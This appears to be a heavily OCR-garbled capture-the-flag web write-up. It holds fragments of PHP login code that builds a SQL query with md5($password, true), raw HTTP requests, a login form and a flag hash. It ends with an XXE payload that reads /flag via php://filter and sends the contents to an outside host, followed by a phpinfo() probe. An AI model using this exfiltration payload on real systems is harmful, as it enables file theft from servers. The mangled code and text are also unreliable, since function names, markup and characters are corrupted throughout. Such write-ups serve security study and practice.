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$str=

PSLri1=

.md5 ($password, true) .
Sresult=mysqgli query ($link, $str);

$resultl=mysqgli query($link, $strl);
Spass=mysgli fetch arrav($result,MYSQLI ASSOC) ;
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00101 Firefox/43.0
1=0. 8

17 (length=0) <
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$tmp session id = substr ($this->session id, 0, ) ;
var dump ($‘tmp_session_id) £

var dump (S$this->gen session key ($tmp session id));
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Cookie:

Connection:




[ /web/index. php HTTP/1. 1

t: Mozilla/5.0 (Windows NT 10.0: WOW64: rv:43.0) Gecko/20100101 Firefox/43.0
xt/html,application/xhtml+xml, application/xml;q=0.9,%/%;q=0. 8§
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Connection: Keep-allve
Content=Type: application/x—www—form-urlencoded

Content—Length: 16

auth=1234567890x|
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<meta http-equiv="Content-Type" c ul:
<meta ht equiv="Content-Type" ¢ ml:
<meta http-equiv="Content-Type" tml;
dstyle>

pl margin:0 autol}

tyle>

<hl style="text-align:center">—A23HFhl>
<div cle

<div>

="login-box" {d="login-id" align="center">

<{form id="login—form-id" class="login—form">
<py
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>
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pass
<labe > Rl # 4 - admin</ label>
&nbsp; &nbsp; &nbsp:
Clabel> BH#4:999¢/ Label>
<fps
</ form>
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HEhBEflag: <form action="index. php" method="post">
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<option valu st ion>

{75f5aa81632055fb6a71a4ffb4685849}
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ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flagf

ENTITY % payload "< ENTITY send SYSTEM "http:// php?aaaaa=%file;"-">
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<php~
phpinfo () ;
</php>
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